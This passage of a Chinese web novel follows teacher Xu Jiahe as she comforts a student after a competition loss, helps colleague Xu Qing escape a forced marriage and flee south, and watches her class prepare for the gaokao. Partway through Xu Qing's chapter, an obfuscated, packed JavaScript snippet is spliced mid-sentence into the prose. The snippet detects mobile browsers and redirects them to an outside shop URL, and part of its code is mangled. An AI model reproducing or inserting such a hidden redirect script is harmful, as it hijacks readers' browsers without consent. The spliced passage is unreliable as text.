出成绩那天晚上,徐嘉禾说为了庆祝徐湛顺利考完试,要请客吃锦宁还没有的汉堡炸鸡。 谢昭对此新鲜不已,一口气点了一大堆,徐嘉禾也不知道他们会喜欢吃什么,就按着谢昭的单子给三个人都点了一份一模一样的。 徐嘉禾和谢昭两人的那份,吃完了都还嫌不够,徐湛的那份却只吃了一半,剩下的一半他没什么胃口,死活吃不下去。 谢昭心疼钱,就把剩的炸鸡打包了。晚上她敲开徐湛的房间门进去的,他正躺在床上,盯着窗外发呆。 “你就吃了两口,”谢昭把炸鸡放在床头柜上,“晚上绝对会饿的,再吃点吧?” 徐湛嗯了一声,他的肚子也适时地响了,他却没有动。 谢昭不会劝人,她只能叹了口气,在他旁边坐下,顺着他的目光看向窗外。 两人就这么一个躺着、一个坐着,谁也没说话。 过了很久,徐湛忽然开口:“ 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“没事。”他勉强笑了笑,说,“本来就觉得自己考得不好,这个结果在意料之中。” “徐湛,”他身边,覃远忽然又冒了出来,“上机考试的时候,你坐在我左边,对吧?” 徐湛吓了一跳,看到是覃远才松了口气:“是的,你居然记得我?” “那是,我记性还挺好的,”覃远笑道,“你那个程序很有意思,虽然没跑通,但思路很特别。考完我一直在想,能不能用你的解法来优化我的那个程序。” 还是第一次有老师以外的人和徐湛讨论计算机方面的问题,他“啊”了一声,一时间不知道怎么接话。 覃远似乎没注意到他的窘迫,自顾自地说下去:“我也算是科班出身的,大言不惭地说,学得应该比你多;但我看你写的那个程序,思路跟我不太一样,更……原始?哎呀,我语文不好,一时半会儿想不起该怎么描述。” 他想了想,又说:“总之,我觉得你挺厉害的。这次没拿奖没关系,你没学多久也很正常,以后要是有什么问题,可以给我写信,咱们交流交流。” 他从口袋里掏出一张纸条,上面写着一个地址,塞到徐湛手里。 “走了,”覃远冲目瞪口呆的徐嘉禾和谢昭摆摆手,笑道,“后会有期。” 人群渐渐散去,覃远的身影也跟着消失不见,徐湛还捏着那张纸条发呆。 “收好吧,”谢昭戳了戳他的胳膊,“人家看得起你才给你留地址的。” 谢昭当时看到徐湛那副样子,还在为他交到了新朋友而高兴,直到这会儿她才反应过来,对徐湛来说,这次竞赛给他带来的打击,并没有那么容易就被彻底磨灭。 他看见了那个叫覃远的少年、看见了那些来自比锦宁还大的城市的孩子,他们从小接触的东西比徐湛多了太多。 这不是天赋的差距,而是起跑线的差距。 “徐湛,我有些不明白,”谢昭皱着眉,思索该怎么向徐湛解释这件事,“你说你不是天才,可你学的这一年,抵得上别人学三年;你们两走到同一个位置,他用的时间比你长,有的资源比你好,你为什么觉得自己不够天才?” 徐湛张了张嘴,说不出话。 “徐湛,”谢昭认真地看着他,“你是我见过最聪明的人,比我聪明、比周文瑞聪明、比吕晓杨聪明,比我们班所有人都聪明。” 她的语气很凶,跟她平时骂周文瑞时的语气差不多,可徐湛看着她,忽然觉得眼眶有点酸。 “可我还是输了。”他低声说。 “输什么输,”谢昭嗤笑一声,“你这就叫输了?那我一辈子都在输,压根就没有赢过。” 徐湛没说话。 谢昭叹了口气,往他身边挪了挪,两个人隔着一层薄薄的夏衣,感觉到彼此的体温。 “徐湛,你才十七岁,还有的是时间。”她说,“你以后还可以学更多的知识,参加更多的比赛,去更大的地方,见更多的人。这次输了算什么?又不是以后都赢不回来了。” 她说着,忽然抬手摸了摸徐湛的头,像是在给一只大型犬顺毛。 徐湛僵硬了一瞬,然后慢慢放松下来。 过了很久,久到谢昭以为徐湛已经睡着了,她正准备轻手轻脚地站起来回隔她和徐嘉禾的房间,却忽然被徐湛拉住了手腕。 “谢昭,”徐湛的声音很轻,要不是谢昭全神贯注地去听,压根就听不清他在说什么,“我以后,会赢的。” 谢昭低头看他,少年的眼睛在夜色里亮得惊人。 “我知道。”谢昭笑了,抽回手,“早点吃了东西睡吧,明天徐老师说带我们去故宫呢。” 她站起身往门口走,走到一半又回头,见徐湛还躺在床上看着她。 “愣着干嘛,休息啊,”她说,“再不睡明天起不来,小心我和徐老师不带你,我们两个自己出去玩。” 35. 第 35 章 九月初,高三正式开学。 五班的学生们走进教室时,明显能感觉到教室里的气氛不一样了。黑板上方挂上了高考倒计时牌子,墙上贴了励志鸡汤贴画,就连教室后面的黑板报也换成了圆梦高考主题的。 “我的妈呀,”周文瑞一进门就夸张地捂住胸口,“这压迫感也太强了吧,我感觉我要喘不过气了。” “那你出去。”谢昭头也不抬。 虽说刚享受了短暂的暑假,但五班的学生们还是很快进入了状态,每天早出晚归,刷题背书,虽然辛苦,但谁也没有偷懒、没有怨言。 徐嘉禾心中既欣慰又心疼,她知道高三有多艰难,也知道他们需要付出多大的努力才能追上那些基础好的学生。但她更知道,他们已经不是那群自暴自弃的孩子了,他们既有目标、更有动力。 然而,平静的日子并没有持续太久。 十月中旬的一个平淡无奇的下午,徐嘉禾正在办公室批改作业,忽然听到走廊里传来一阵嘈杂的声音。她还没来得及做出什么反应,办公室的门就被猛地推开了。 冲进来的是脸色煞白的许晴。 “徐嘉禾,”她尖叫,“我爸妈……我爸妈来了。” 徐嘉禾愣住了,她还没来得及问到底怎么回事,办公室门口就出现了两个陌生的身影。 走在前面的是个中年男人,皮肤黝黑,身材矮壮,声音粗嘎。他身后跟着一个同样黝黑的中年妇女,头发花白,脸上满是皱纹。 明明是一对看起来和许晴相似的、面容和善的老夫妻,但细看就会发现,他们的眼神却精明得很。 “许晴!”男人一进门就扯着嗓子喊,“你躲这儿干啥?赶紧跟我回去!” 许晴下意识往后退了一步,撞上了徐嘉禾的办公桌,幸亏徐嘉禾眼疾手快,伸手帮她垫住了腰的位置。 “爸,”她的声音有些颤抖,“我在上班,你们先回家,有什么事等我下班再说……” “上班?上个屁的班!”男人粗暴地打断她,“翅膀硬了,是吧?连爸妈的话都不听了” 办公室里其他老师纷纷抬起头,他们都是文化人,一辈子没和这种耍横的大老粗打过交道,一时间面面相觑,不知该如何是好; 刘主任本来被吵到了,一脸愠怒地从里面探出头,看了一眼这架势,又缩了回去,假装什么都没看见。 徐嘉禾站起身,挡在许晴面前,平静地看着那个男人:“许老师的父亲是吧?有什么事咱们好好说,别在这里吵。” 男人上下打量了徐嘉禾一眼,不屑地哼了一声:“你谁啊?” “我是许老师的同事,也是她的朋友。”徐嘉禾的语气依然平静,“许老师现在正在工作时间,有什么事等她下班再说,可以吗?” “工作时间?”男人冷笑,“她一个教书的,有什么好忙的?我跟你说,我今天来就是要把她带回去的,她妈给她找了个好人家,人家家里开厂子的,有钱得很。她倒好,死活不不回信,逼着我跟她亲娘跋山涉水来找她,真是不孝至极!” 许晴的母亲这时候也开了口,只不过她的态度不是那么强硬,却比强硬更糟糕。 她一拍大腿,顺势往地上一坐,开始向周围那群一脸好奇偷看的老师们哭诉:“我命苦啊,年龄还小就嫁到他们家当牛做马,现在为孩子考虑吧孩子还不听话,我命怎么这么苦……” 许晴的脸更白了,她咬着嘴唇,一句话也说不出来。 徐嘉禾深吸一口气,努力压下心里的火气:“许老师的婚事是她自己的事,应该由她自己做主。你们做父母的,可以给建议,但不能强迫。” “她自己的事?”男人瞪大眼睛,“她是我闺女,她的婚事就是我的事!我养她这么大,供她读书,还管不了她了?” “那您供她读书是为了什么?”徐嘉禾反问,“是为了让她有文化、长见识,还是为了让她将来能卖个好价钱?” 这话说得太直白,男人的脸顿时涨红了。 “你……你……”他指着徐嘉禾的鼻子,气得直哆嗦,“你是个什么东西,还管我们家的闲事?信不信我连你一起骂?” “爸!”许晴终于开口,声音里带着哭腔,“你别骂她,我……我跟你回去就是了。” 她说着,低着头就往门口走。 “许晴!”徐嘉禾一惊,一把拉住她的手腕,压低声音,“你别冲动。” 许晴回过头,眼眶里已经蓄满了泪水。她看着徐嘉禾,嘴唇动了动,却什么也说不出来。 男人见状,得意地哼了一声:“听见没有?她自己愿意的。许晴,赶紧收拾东西,跟我和你妈走。” 徐嘉禾的心猛地揪紧了,她知道,如果今天让许晴被带走,等待她的将是什么。 她不能眼睁睁看着这一切发生。 “许晴她不能走,”徐嘉禾咬牙,继续争取,“他们班现在正是高三的关键时期,你们不能……” “我就不相信了,这么大个学校,没我闺女就运转不了了?”她爸冷哼,扯着许晴往外走,“她学生管我们什么事?” “没关系,徐嘉禾,”徐嘉禾还想再拦,许晴深吸一口气,冲她露出一个比哭还难看的笑容,“最多三天,我就回来。你帮我看着点班,别让他们太闹腾。” 徐嘉禾看着许晴悲伤的眼睛,最终还是松口答应了。 三天后,许晴没回来。 第八天清晨,徐嘉禾收到一封信,是许晴托人带来的,信很短,只有几句话: “徐嘉禾,我爸给我定了亲,不让我走了。我不愿意,但没办法,你别管我了,好好教你的书,保重。” 徐嘉禾捏着信,手指微微发抖。 她想起第一次见到许晴时的样子、想起两人过年时一起做饭的温馨的样子、想起许晴在谈到未来时眼中的希冀。 她拼尽全力才走出来,凭什么要被这么轻易地绑回去? 徐嘉禾把信折好,随身带在身上,到学校后,她去找了胡丽华。 “胡校长,我想请几天假。” 徐嘉禾说这话时,胡丽华正在批文件,闻言抬头看她:“什么事?” “有点私事要处理。”徐嘉禾不太清楚这种事情说出去好不好,她也懒得解释,索性就不说了。 胡丽华看了她一会儿,放下笔:“是许晴的事吧?” 徐嘉禾一愣。 “她的事,我听说了,”胡丽华叹了口气,“小徐,我知道你和许晴关系好,但那是人家的家事,你去了能干什么?” “再说了,许晴那边也已经发消息了,她的位置我们会找老师顶上,不会影响教学,你何必把自己也搅进这件事呢?” “我不知道我能干什么,”徐嘉禾说,“但如果我不去,我觉得会后悔一辈子。” 胡丽华沉默了很久,她叹了口气,最后从抽屉里拿出一张纸,刷刷写了几行字,盖上章,递给徐嘉禾:“这是学校的介绍信。你拿着,路上万一遇到什么事,可能有点用。” 第二天一早,徐嘉禾坐上了去许晴老家的长途汽车。 许晴的老家在锦宁下辖的县里,从市区过去,要先坐四个小时的长途车到县城,再从县城转三轮颠簸两个小时,才能到她们村。 徐嘉禾这辈子没坐过这么破的车。 露天三轮是在木板车上捆了几个小板凳,每过一个坑,徐嘉禾都心慌慌的,担心三轮车不由分说就此散架; 路面坑坑洼洼,一路颠得她五脏六腑都要移位了;车厢里挤着七八个人,有挑担子的小贩,有抱孩子的妇女,还有几只被绑住脚的鸡。 鸡可不像人,不舒服了忍上一忍、哄哄自己就过去了。你让鸡不舒服了,鸡只会在车厢里疯狂扑腾,扬起一阵阵灰尘和羽毛,把自己的所有不满统统表现出来。 傍晚时分,三轮车在一个村口停下,司机大喊:“到了到了,下车下车!” 徐嘉禾跳下车,站在村口,看着眼前这个陌生的地方。 村子不大,稀稀拉拉几十户人家,小村庄上有炊烟袅袅升起,空气里飘着各家各户的饭菜香。 如果徐嘉禾是来旅游的,说不定还会觉得这里是人间烟火气最抚凡人心。 她拦住一个过路的大娘,问:“姐姐,你知道许晴家咋走不?” 大娘上上下下打量她一通,疑惑问:“你是城里来的吧?找许晴干啥子?” “我是她同事,听说她要结婚了,来找她耍的。” “你来的倒是早哦,”大娘哦了一声,往村里一指,“往前走,第三个路口右拐,路口第一家就是。” 徐嘉禾道了谢,顺着她指的方向走去,到许晴家门口时,天已经擦黑了。 院子不大,土墙里面种着几片地的菜,堂屋的门微开着,昏黄的灯光透出来,隐约能听见里面有人说话。 徐嘉禾深吸一口气,敲了敲院门。 “谁呀?”应答的声音从屋里传出来,一个穿着蓝布衣裳的中年妇女一边在围裙上擦手,一边走了出来。 “阿姨好,我是许晴的同事,徐嘉禾。”徐嘉禾努力挤出一个和善的笑容,“我来看看许晴。” “怎么又是你?”许母的脸色变了变,小声嘟囔了一句,随即又挤出一个笑,“哎呀,是徐老师啊,这么远跑来看晴晴,真是有心了。快进来坐,进来坐。” 徐嘉禾跟着她走进院子,堂屋里,许晴的父亲正坐在桌边抽烟,看见她进来,皱了皱眉,但没有说话。 “晴晴,你的那个同事,那个徐老师来看你啦!”许母朝里屋喊了一声。 里屋的门帘被急匆匆地掀开,许晴几乎是冲了出来。 许晴穿着朴素的碎花衬衫,头发随便扎着,脸色比在学校时差了很多,眼底有明显的青黑,看见徐嘉禾的那一刻,她愣了好几秒,然后眼眶突然红了。 “你怎么来了?”她哑声问。 “来看看你,”徐嘉禾笑道,“怎么,不欢迎?” 许晴咬着嘴唇,摇了摇头。 晚饭是简单的炖菜米饭,饭桌上气氛沉闷得可怕。许父显然不太欢迎徐嘉禾的到来,只是闷头自顾自地吃,许母不停地给徐嘉禾夹菜,念叨着乡下没什么好东西招待。 许晴坐在徐嘉禾旁边,从头到尾没动过几次筷子。 吃完饭,许母还张罗着收拾碗筷,许父就已经叼着烟 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徐嘉禾皱紧眉头,房间里陷入沉默,过了很久,她才开口:“你想嫁吗?” 许晴摇头。 “那就别嫁。” “说得轻巧,”许晴苦笑,“不嫁怎么办?我弟的房子怎么办?我这话要是出口,妈能在我面前吊死给我看,你信不信?” 徐嘉禾站起身,走到窗边。窗外一片漆黑,远处的山影影绰绰,像一头沉默着、要把每一个踏足这里的人全部吞掉的巨兽。 “许晴,”她回过头,“你当年是怎么从这儿走出去的?” 许晴愣了一下。 “你当时说,你想读书、你想考出去,”徐嘉禾说,“你现在这么做,那不就是背叛了当时的你自己么?” 许晴没说话。 “你要是留在这儿,嫁了那个人,你这辈子就完了,”徐嘉禾继续说,“你以为你妈会感激你?你弟会记得你的好?不会的。他们只会觉得理所应当。” “如果有我来帮你,你都还逃不出去,那你这辈子再也没机会逃出去了。” 许晴看着她,眼泪终于掉了下来:“你真的愿意帮我?” “废话,”徐嘉禾恨铁不成钢地戳她的额头,“我不帮你,大老远跑这儿来干嘛?” 当天晚上,徐嘉禾在许晴家住了一夜。 第二天早上吃饭时,许晴率先开口:“妈,我想跟徐老师回锦宁。” 饭桌上安静了一瞬。 许父放下筷子,皱眉看着她:“回去干嘛?” “回去教书,”许晴说,“学校那边还等着我呢。” “教书教书,一天到晚就知道教你那个书,”许父的声音沉下来,“你是要嫁人的人了,还想着回去教书?” “我没想嫁人。” 这话一出,连许母的脸色都变了:“你说什么?” “我说,我不想嫁那个人,”许晴抬起头,迎上母亲的目光,微微瑟缩了一下,却还是咬牙,“我不喜欢他,不想嫁给他。” “不喜欢?”许母冷冷地道,“人家家里有砖厂,有房子,有彩礼,哪点配不上你?你还挑上了?” “妈,我有工作,我能养活自己,”许晴的声音在发抖,“我不需要他的钱。” 许父的脸涨红了,他一拍桌子,猛地站起来:“许晴,当年要不是老子让你读书,你能有今天?现在倒好,嫌家里穷,嫌你弟你妹拖累你,嫌我给你找的人家不好?你还有没有良心?” “爸……” “别叫我爸!”许父指着她的鼻子骂,“你今天敢走出这个家门,我就当没你这个女儿!” 许晴的脸白了,却还是坚持:“我不想嫁人……” “不想嫁,不想嫁行啊,把钱还回来。一千五百块钱,现在立马给我拿出来啊!” “叔叔阿姨,”眼见事情要往不可控的方向发展,徐嘉禾连忙出言打断,“如果是钱的问题的话,我想我有办法。” “你不会想说你要帮忙给这一笔钱吧?”许父嗤笑,“你一个刚毕业的小姑娘,哪儿来的这么多钱……” “为什么不能给?”徐嘉禾疑惑道,“一千多块钱,我还是能攒下来的。” 她说着,掏出早已备好的存单,在瞪大眼睛的许父许母面前晃了晃,感叹:“早知道这么便宜,我也想娶媳妇儿了。” “你……”许父的脸涨得通红,指着徐嘉禾的鼻子说不出话。一直到最后,他才一拂袖,怒道,“说出这种话,不知廉耻!” “当老师这么赚钱?”相比之下,许母要冷静得多,她看着徐嘉禾手中的存单好一会儿,难以置信地问。 徐嘉禾笑了笑,没有回答。 其实,当老师那点死工资倒还真不足以让徐嘉禾攒下这么多钱。 奈何无论是办的班刊还是买的奶茶,甚至是徐湛比赛的奖金、后来写文的稿费,诸如此类的前,一帮子人统统会给徐嘉禾分上一份,美其名曰分红。 搞到后面,给徐嘉禾整成固定收入了。 徐嘉禾一般管这个叫提成。 36. 第 36 章 许晴最后当然还是跟着徐嘉禾回到了锦宁,只不过接下来的日子,她像是变了一个人。 虽然在她离开的这十天里,学校已经默认她不会回来了,为许晴的班安排了新的班主任和语文老师,但许晴比以前更加拼命地工作了。 她每天最早到办公室,最晚离开,她新带的班级成绩突飞猛进,连本来因为她的家事闹到学校而颇有微词的刘主任都破天荒地表扬了她几句。 虽然许晴和徐嘉禾开玩笑,说自己这么努力是为了赚钱还给徐嘉禾,但徐嘉禾知道,这样拼命工作的背后,或许更多的是一种逃避。 她不提家里的事,不提父母,只全心全意埋头在自己的工作里,仿佛只要足够忙碌,就可以忘记一切痛苦的事情。 徐嘉禾想帮她,却不知道该怎么帮。 直到十二月的一天,许晴又一次找到了她。 “徐嘉禾,”这次,许晴整个人都冷静了许多,“我爸刚才给我打电话了。” 徐嘉禾绝望地扶额:“他们又怎么了?还不死心?” “不是,是我妈病了,”许晴轻轻叹了口气,“说是脑血栓,不知道最后到底会怎么样……我爸让我回去看看她。” “你要回去?” “我不知道,”许晴摇头,“我怕我回去了,他们就再也不放我走了。可我要是不回去,万一我妈有个三长两短……” 她说不下去了。 徐嘉禾叹了口气,虽然她不能明白,为什么许晴会对要嫁掉自己的爸妈还有这么深的感情,但是她知道,自己没有资格仗着自以为更高的认知,去批判其他人。 她思索了片刻,问:“你想回去吗?” “……想,”许晴愣了一下,有些悲伤地点头,“他再怎么样也是我妈,我只是……” “只是怕被留下?” 许晴点头,期期艾艾地说:“你是不是觉得我很没用?” “许晴,”徐嘉禾摇了摇头,她抬手按住许晴的肩膀,“如果你想回去,那就回去。但是,我有一个建议。” 许晴抬头看她。 “如果你真的想在这次之后能够摆脱这一切,过自己想要的生活,”徐嘉禾一字一句地说,“那就在回去后,离开这里,去南方。” 许晴愣住了:“南方?” “对,虽说我这么说话有点难听,但你这次回去,很可能让他们觉得你还是对他们心软了、他们还能从你这里获得些什么,”徐嘉禾说。 “但在南方不一样,南方最近在飞速发展,在那里你可以重新开始,没有人认识你,没有人知道你的过去,你可以做自己想做的事,过自己想过的生活。” 许晴呆呆地看着她,一时说不出话来。 “我知道这个建议听起来很疯狂,”徐嘉禾笑了笑,“但你只要留在锦宁,就一定摆脱不了你的家庭。” “可是如果我走了,我的工作怎么办?我的学生怎么办?” “工作可以再找,你的学生们也已经有新的老师,”徐嘉禾说,“但你的人生只有一次。而且许晴,就算你不离开这里,而是被迫回到老家,你的工作和你的学生一样会受到影响。” “与其这样,不如当断则断。” 许晴沉默了很久,最后说:“你让我再想想。” 那天晚上,许晴一整夜没睡。 她躺在床上,盯着天花板,脑子里乱糟糟的,但徐嘉禾的那句话一直在她耳边回响。 离开锦宁,去南方。 这个念头一旦出现,就再也挥之不去。 在今天之前,许晴从来没有想过要离开锦宁,但徐嘉禾这么说了,她忽然发现,自己是能够逃离这个让她窒息的环境的。 许晴是多么想要远离那些指指点点、说三道四的人、想要开始一段新的人生,可她害怕,害怕未知,害怕孤独。 当然,许晴也在害怕这样会不会彻底和自己的爸妈决裂。 虽然他们已经闹翻了,虽然许晴嘴上说着不怪他们,可她心里终究还是放不下。 第二天一早,许晴去找到徐嘉禾。 “徐嘉禾,我想好了。”她说。 徐嘉禾没说话,只是看着她,等着她的下文。 “我最后回去看一眼我妈我爸,然后……”许晴深吸一口气,“然后去南方。” “孺子可教也,”徐嘉禾笑着拍了拍她的肩膀,“好,我帮你。” 接下来的几天,一边许晴给家里发消息,称自己要晚些到,一边两人开始悄悄为许晴的逃跑做准备。 徐嘉禾帮许晴查了火车时刻表,帮她算了需要多少钱,还把自己剩下的积蓄又塞了她一百,就给自己留了下个月的饭钱。 “你拿回去,我都欠你那么多钱了,还要再欠你一百吗?”许晴急忙推辞。 “债多不压身嘛,”徐嘉禾不由分说地把钱塞进她手里,“你到了那边,人生地不熟的,总得有点钱傍身。等安顿下来了,再还我也不迟;如果联系不上我,你还给谢昭或者徐湛也行。” 反正她妈她爸的钱也是她的,对徐嘉禾来说没什么区别。 “徐嘉禾,”许晴握着那沓皱巴巴的钞票,眼睛红红地哽咽道,“你为什么对我这么好?” 徐嘉禾愣了愣,随即笑了:“因为你值得?” 许晴回家那天是个阴天,她几弯几倒拐,终于回到了那个生她养她的小村子。 村里还是老样子,土坯房、泥巴路、四处乱跑的鸡鸭猫狗,只是这几个月不见,她竟觉得有些陌生了。 “妈?爸?”许晴推开家门,试探着喊了一声。 “回来了?”许父从里屋探出头来,看见是她,愣了一下,有些别扭地道,“进来吧,你妈刚吃了饭躺下。” 许晴应了一声,走进里屋,看母亲躺在床上,脸色蜡黄,看起来比几个月前老了十岁不止。 许晴的心猛地揪紧了。 “妈,”她压低声音,“你怎么样?” “医生说抢救及时,命保住了,但以后不能再干活了,也不能生气着急。”许父在一旁冷笑,“都是你气的,你要是不跑,你妈能成这样吗?” 许晴张了张嘴想辩解,最终还是觉得跟他们没什么好说的,把话忍了下去。 她在床边坐下,看着母亲病恹恹的脸庞,心里五味杂陈。 比起父亲,她对母亲的情感更为深刻。她对母亲既心疼过,也怨过、爱过。她给了她生命、操劳半生供她读书,却也试图和父亲一起掌控她的人生,把她当成可以交换利益的筹码。 可此刻,看着母亲虚弱地躺在床上,许晴心里只剩下心疼。 傍晚,许母醒了。 她睁开眼,看见坐在床边的许晴,愣了好一会儿,才沙哑着嗓子说:“晴晴,你回来了?” “嗯。”许晴点头,“妈妈,你好点没?” “你之前那门婚事,”母亲看着她,颤抖着手指抚上许晴的脸,忽然说,“我跟人家说了,你不嫁了。” 许晴愣住了。 “人家条件是好,可你不愿意,强扭的瓜不甜。”母亲的声音很轻,带着疲惫和无奈,“你说得对,我一直觉得你应该和我过一样的人生,却从没想过你愿不愿意。” “妈……” “晴晴,你听我说完。”母亲穿了口气,打断她,“你小时候,家里穷,我让你干这干那,没让你享过一天福;你考上师范,你爸和我虽然老古板,却也想得到闺女有出息,不能耽误。” “后来你毕业了,当了老师,我其实也高兴,觉得咱老许家总算出了个文化人。可你一直不结婚,村里人嚼舌根,我脸上挂不住,这才想着赶紧把你嫁出去……” “直到现在,我人要死了,才觉得其实那些话也没什么值得畏惧的,根本就没有你的幸福重要。”她说着,眼眶红了。“晴晴,是妈妈对不起你。” 许晴的眼泪夺眶而出。 那天晚上,许晴陪老两口吃了最后一顿晚饭。 饭桌上,母亲没再提相亲的事,只是时不时给她夹菜,父亲的态度也一反常态地好,只是偶尔看看她,欲言又止。 吃完饭,许晴帮着收拾碗筷。洗碗时,许父忽然开口:“你是不是有什么事瞒着我们?” 许晴的手顿了一下:“没有。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253118|195938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>如果许母的话能说得更早一点,许晴或许会像过去一样,因为心疼、因为愧疚、因为各种各样的原因而选择留下。 但现在已经太晚了。 父亲深深地看了她一眼,没有再追问。 第二天一早,许晴离开了家。 临走前,她在母亲的病床前站了很久,最后轻轻说:“妈,我走了,你好好养病。” 令许晴意外的是,虽然她的声音很轻,但许母还是醒了,但她只是点点头,没说话。 许晴轻轻拍了拍许母的手,转身往外走。走到门口时,她忽然听见母亲的声音:“晴晴。” 许晴心中一惊,回头看去。 母亲看着她,像是知道他们只会很难再次见面一般,强撑着直起身。她的眼神里迸发出前所未有的光彩,但她嘴唇动了动,最后只是说:“好好照顾自己。” 许晴的眼泪又涌了上来。 她不敢再看母亲希冀的眼神,用力点了点头,就转身走出了家门,再也没有回头。 来到火车站,徐嘉禾已经在站台上等着她了。 许晴这次离开,只带了一个旧皮箱,里面装着几件换洗衣服、一些书和两百块钱,除了徐嘉禾,她没有告诉其他任何人自己要去哪里,只在办公桌上留了一封辞职信。 火车站里人很多,大多是去往南方打工的年轻人,背着大包小包,脸上无一不带着迷茫和期待。 许晴站在月台上,看着远处即将进站的火车,心里涌起一阵复杂的情绪,不舍、期待,但更多的是一种卸下长期背着的重担的解脱。 “徐嘉禾,”她忽然开口,“你说,我这样做对吗?” “如果你后悔了,现在还有机会。”徐嘉禾想了想,这样说,“对错我不知道,但这是你自己选的路,只要你觉得自己永远不会后悔,那就对了。” “你说得对,”许晴愣了一下,随即笑了,“我永远不会后悔。” 火车进站了,巨大的汽笛声划破清晨的寂静。 许晴拎起皮箱,往车门走去,走到门口,她忽然回过头,看着站在月台上的徐嘉禾。 “徐嘉禾,”她的声音有些哽咽,“谢谢你。” 徐嘉禾冲她挥挥手,笑着说:“去吧,好好活着,混出名堂了记得还我钱哦?” “放心吧,”许晴原本还有些离别的感慨,闻言破涕为笑,挥了挥手,转身上了火车,“没混出名堂也不会欠你钱不还的。” 汽笛再次响起,火车缓缓启动,最终消失在晨雾里,徐嘉禾站在空荡荡的月台上,望着那个方向久久没有离开。 说实话,徐嘉禾不知道许晴的未来会怎样,不知道她能不能在人生地不熟的南方立足,不知道她会不会后悔今天的决定。 但她知道,从今天起,许晴的人生,终于完完全全地属于她自己了。 等徐嘉禾再回到学校时,已经是上午十一点了,她刚走进办公室,就被刘主任叫住了。 “徐老师,许晴干嘛呢?”刘主任皱着眉头,“怎么这次交了个辞职信就彻底没消息了?” “哦,你说她啊?”徐嘉禾平静地说,“许老师家里出了点事,应该是回老家了。” “回老家?”刘主任狐疑地看着她,“那她什么时候回来?” “不知道,”徐嘉禾说,“可能很快,也可能彻底不回来了。” 她当谜语人倒是爽了,说的话玄之又玄,刘主任听得一头雾水,疑惑地离开了。 徐嘉禾回到自己的座位坐下,看着许晴那张空荡荡的办公桌,心里忽然有些空落落的。 这一年多来,许晴是她在这个时代最好的朋友。她们一起吃饭、一起逛街、一起吐槽学生和同事,在无数个疲惫的夜晚互相打气、互相安慰。 现在,许晴走了。 正如她和刘主任说的那样徐嘉禾不知道什么时候能再见到她,甚至不知道还能不能再见到她。 但她知道,自己做了对的事。 许晴应该拥有自己的人生,而不是被别人的期待束缚;她’、选择了离开,选择了未知,选择了为自己活一次。 这就够了。 37. 第 37 章 许晴走后,徐嘉禾的生活安静了许多、也乏味了许多。 办公室里少了那个给她带早餐、陪她吐槽工作、和她一起逛街的身影,她花了好长的时间才逐渐适应了没有许晴的日子。 有时候徐嘉禾批改作业改得累了,下意识往旁边看一眼,想要找人吐槽两句,才发现那里已经空了。 五班的学生们似乎也察觉到了什么。虽然许晴不是他们的任课老师,但这一年多来,许晴经常来班里串门,和谢昭他们混得挺熟。 周文瑞不止一次问过:“徐老师,许老师到底去哪儿了?怎么突然就不见了?” 徐嘉禾每次都说:“她应该是去南方发展了。” “南方?”周文瑞闻言,眼睛就亮了,“我爸说南方现在可热闹了,到处都是机会。” “嗯,或许吧。”徐嘉禾不置可否。 徐嘉禾知道许晴去了深圳,但具体在做什么、过得好不好,她其实什么都不知道。 许晴走的时候说过,等安顿下来会给徐嘉禾写信,可一个多月过去了,什么消息都没有。 有时候徐嘉禾会想,许晴会不会后悔了?会不会在那边过得不好,不好意思联系她?又或者,许晴真的彻底摆脱了过去,开始了新的人生,所以不想再回头了? 无论是哪种,徐嘉禾都只能默默地等着,毕竟日子还是要继续过下去的。 好在五班的学生们实在是争气。 高三上学期的期末考试,五班的平均分冲到了年级第二,只比常年稳居第一的一班低了不到十分。 成绩公布那天,周文瑞特意装模作样地去一班门口晃了一圈,被谢昭揪着耳朵拎了回来。 “到底在嘚瑟什么?”谢昭难以理解地看着周文瑞,“半罐水响叮当,有本事咱高考考过他们啊。” “昭姐,你就不能让我高兴两天吗?”周文瑞捂着耳朵,委屈道。 谢昭冷哼:“高考完了再高兴也不迟。” 今年的寒假,五班的学生们比往年忙得多,谢昭组织了寒假学习小组,一群人成天聚在一起自习,互帮互助、相互交流。 徐嘉禾也没闲着,学校放假了,她本想着好好休息几天,结果谢昭和徐湛隔三差五就往她家跑,美其名曰向老师请教,实际上就是把她家当成了自习室。 “你们就不能在自己家学吗?”徐嘉禾看着摊了一桌子的课本和作业,无奈地说。 “家里没氛围,”谢昭头也不抬,手里的笔一秒不停,“还是徐老师这儿好,有老师看着,多么有学习的感觉。” “就是就是,”周文瑞在旁边附和,他今天也跟着来了,说是要体会一下好学生的日常,“我在家一拿起书就想睡觉。” “好虚伪的借口,”徐嘉禾无语地看着他,“那你在我这儿怎么不困?” “因为我要是在这儿还敢睡觉,谢昭会骂死我的。”周文瑞理直气壮。 徐嘉禾看向谢昭,谢昭面不改色地继续做题,好像周文瑞说的不是她似的。 徐嘉禾:“……” 日子就这样一天天过去,转眼就到了开学。 在高三下所有人都提着一口气时,徐嘉禾却在纠结别的事情。 她叹了口气,收回目光,转身看向办公室里的日历,距离高考,还有一百来天。 然而,与其说徐嘉禾是在纠结高考,不如说她是在纠结高考之后会发生什么。 难道她真的要留在这个年代吗?那三十年后的她是死了还是活着?如果是植物人,那住院岂不是会浪费很多钱? “徐老师!”不容她细思,一个熟悉的声音从门口传来。 徐嘉禾回头,就见周文瑞风风火火地冲了进来,身后还跟着谢昭和其他几个五班的学生。 “你们怎么来了?”徐嘉禾有些意外,“这个点不是应该在教室上自习吗?” “徐老师,我们有个大事要跟你商量!”谢昭一脸兴奋,凑到徐嘉禾办公桌前,压低声音说,“咱们班费还剩多少,你知道吗?” “又不是我管账,我怎么知道?”徐嘉禾疑惑道。她从谢昭手里接过账本,翻开一看,那个数字差点让她下巴掉在地上,“什么情况?班刊和奶茶不是都没干了吗,怎么还有这么多?你们抢银行了?”” 